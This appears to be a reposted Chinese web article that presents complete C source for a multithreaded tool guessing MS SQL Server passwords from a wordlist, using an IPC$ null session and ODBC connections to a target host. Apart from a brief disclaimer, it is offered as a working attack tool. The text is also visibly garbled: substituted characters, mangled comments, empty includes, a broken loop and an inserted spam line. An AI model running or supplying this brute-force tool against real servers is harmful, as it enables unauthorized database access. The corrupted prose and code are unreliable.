设为主页 | 加入收藏 | 繁體中文

远程检测MS SQL Server账号安全性

  ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于长途访问数据库(主要是关系型数据库)的同一界面尺度。  ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对付程序员来说,ODBC API函数集实际上等于一个静态毗连库(DLL)集,可以在应用程序中间接使用它们。
  一个应用程序间接调用ODBC API函数来进行数据库的应用工作,工作历程一样平常比力庞大。其中一种措施大约是以下几步:
  <1>启动ODBC数据库应用程序。
  <2>与办事器建立IPC SESSION。
  <3>创立数据库应用的环境句柄。
  <4>创立毗连句柄。
  <5>毗连数据源。
  <6>创立语句句柄。
  <7>通过上一步创立的语句句柄来执行SQL操纵。
  <8>释放语句句柄。
  <9>要进行多此SQL操纵的话,就循环步调6-8。
  <10>断开与数据库的毗连。
  <11>释放毗连句柄。
  <12>释放环境句柄。
  <13>断开IPC SESSION。
  <14>程序竣事。
  下面以一个实例来阐明长途检测MS SQL Server账号暗码的全历程。此程序只作技能交换之用,如用于不法用途,作者不负任何责任!
    Module Name:SQLCheck.c
  Date:2000.12.14
  WEB:www.patching.net
  Notices:Copyright(c) eyas
  AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优*/
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  ////////////////////////////////////////////////////////////////////////
  file://界说全局变量
  char dict[20000][40],//暗码字典
  UserName[40],//用户名
  target[40],//目的办事器
  passwd[40];//曾经探测出来的正确暗码
  int total=0;//字典内里单词数量
  BOOL Cracked=FALSE;//探测暗码乐成时此值为TRUE
  HANDLE hSemaphore,//信标内核工具
  hEvent;//事件内核工具
  long MaxThreads,//最大线程数量
  ActiveThreads;//运动线程数量
  ////////////////////////////////////////////////////////////////////////
  void usage(char *pragname)
  {
  printf("\nPower by eyas"
  "\nhttp://www.patching.net"
  "\n2000/12/14"
  "\n\nUsage:%s "
  "\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
  return;
  }
  ////////////////////////////////////////////////////////////////////////
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  file://翻开字典文件
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf("\nCan't open %s",dic);
  return 1;
  }
  while(!feof(fp))
  {
  file://读取数据来临时变量
  if(fgets(tmp,40,fp)==NULL)
  break;
  file://把从文件内里读出来的末了一位数据[换行符号]去掉
  strncpy(dict[total],tmp,strlen(tmp)-1);
  total++;
  if(total>=19999)
  break;
  }
  fclose(fp);
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  int ConnIPC(char *RemoteName)
  {
  NETRESOURCE nr;
  DWORD flags=CONNECT_UPDATE_PROFILE;
  TCHAR RN[30]="\\\\",
  LN[5]="";
  strcat(RN,RemoteName);
  strcat(RN,"\\ipc$");
  nr.dwType=RESOURCETYPE_DISK;
  nr.lpLocalName=(LPTSTR)&LN;
  nr.lpRemoteName=(LPTSTR)&RN;
  nr.lpProvider=NULL;
  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  ////////////////////////////////////////////////////////////////////////
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="\\\\";
  strcat(lpName,RemoteName);
  strcat(lpName,"\\ipc$");
  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  ////////////////////////////////////////////////////////////////////////
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  file://界说部分变量
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API运转前往值
  SCHAR ConnStr[200];//毗连数据库字符串
  long PreviousCount;
  file://取得传递过去准备探测的暗码
  pwd=(char *)pPwd;
  file://构造毗连数据库字符
  sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
  target,UserName,pwd);
  file://puts(ConnStr);
  __try{
  file://创立数据库应用的环境句柄
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
  {
  printf("\nAllocate environment handle failed.\n");
  ExitProcess(1);
  }
  file://设置ODBC版本环境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  ExitProcess(1);
  }
  file://创立毗连句柄
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  ExitProcess(1);
  }
  file://毗连数据源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
  szBuffer,sizeof(szBuffer),&swStrLen,
  SQL_DRIVER_COMPLETE_REQUIRED);
  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
  {
  file://毗连失败,函数停止
  file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
  }
  else
  {
  file://毗连长途MSSQL Server数据库乐成
  Cracked=TRUE;
  strncpy(passwd,pwd,sizeof(passwd));
  file://断开毗连
  SQLDisconnect(hdbc);
  }
  }//end of tyr
  __finally{
  file://释放毗连句柄
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  file://释放环境句柄
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  file://对信标以后资源数量进行递增1,并取得以后资源数量的原始值
  ReleaseSemaphore(hSemaphore,1,&PreviousCount);
  file://盘算以后运动线程数量
  ActiveThreads=MaxThreads-PreviousCount-1;
  file://printf("\nActiveThreads-->%d.",ActiveThreads);
  file://如果运动线程数量为0,那么将事件内核工具hEvent改为已关照形态,程序竣事
  if(ActiveThreads==0)
  {
  SetEvent(hEvent);
  }
  }//end of finally
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  int main(int argc,char **argv)
  {
  HANDLE hThread;//线程句柄
  DWORD dwThreadId,dwRet;
  int i=0,err=0;
  clock_t start,end;//程序运转的肇始和竣事工夫
  double duration;
  if(argc!=5)
  {
  usage(argv[0]);
  return 1;
  }
  file://取得目的地点,用户名
  strncpy(target,argv[1],sizeof(target));
  strncpy(UserName,argv[2],sizeof(UserName));
  file://取得并检查用户输出的最大线程数量
  MaxThreads=atol(argv[4]);
  if((MaxThreads>100) || (MaxThreads<1))
  {
  usage(argv[0]);
  return 1;
  }
  file://读取字典中的单词到内存中
  if(ReadDic(argv[3])!=0)
  return 1;
  file://与目的机器建立IPC Session
  if(ConnIPC(argv[1])!=0)
  {
  printf("\nCan't built IPC NULL Session!");
  return 1;
  }
  else
  {
  printf("\nBuilt IPC NULL Session success!\n");
  }
  file://创立信标内核工具,最大资源数量和可以使用的资源数量均为MaxThreads
  hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
  if(hSemaphore==NULL)
  {
  printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
  return 1;
  }
  file://创立事件内核工具[人工重置,初始形态为未关照]
  hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
  if(hEvent==NULL)
  {
  printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
  CloseHandle(hSemaphore);
  return 1;
  }
  file://开始计时
  start=clock();
  file://开始建立线程探测暗码
  for(i=0;i {
  file://探测暗码乐成后跳出此循环
  if(Cracked==TRUE)
  break;
  file://表现进度信息
  printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
  file://创立线程
  hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
  file://处置惩罚创立线程错误的环境
  if(hThread==NULL)
  {
  err++;
  MessageBox(NULL,"thread error","error",MB_OK);
  if(err>=50)
  break;
  }
  CloseHandle(hThread);
  Sleep(10);
  file://等候信标内核工具关照,可用资源数量大于0则继续创立线程,等于0则线程进入等候形态
  WaitForSingleObject(hSemaphore,INFINITE);
  }
  file://等候事件内核工具关照,最多等候3分钟
  dwRet=WaitForSingleObject(hEvent,180000);
  switch(dwRet)
  {
  case WAIT_OBJECT_0:
  printf("\nAll thread done.");
  break;
  case WAIT_TIMEOUT:
  printf("\nWait time out.Exit.");
  break;
  case WAIT_FAILED:
  printf("\nWaitForSingleObject() failed.");
  break;
  }
  file://断开与目的机器的IPC Session
  DelIPC(target);
  file://探测暗码乐成后回显信息
  if(Cracked==TRUE)
  printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
  file://记时竣事
  end=clock();
  file://转换工夫格式
  duration = (double)(end - start) / CLOCKS_PER_SEC;
  file://表现所用工夫
  printf("\n\nComplete.Use %2.1f seconds.\n",duration);
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  程序在windows2000,vc++6.0环境下编译通过。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: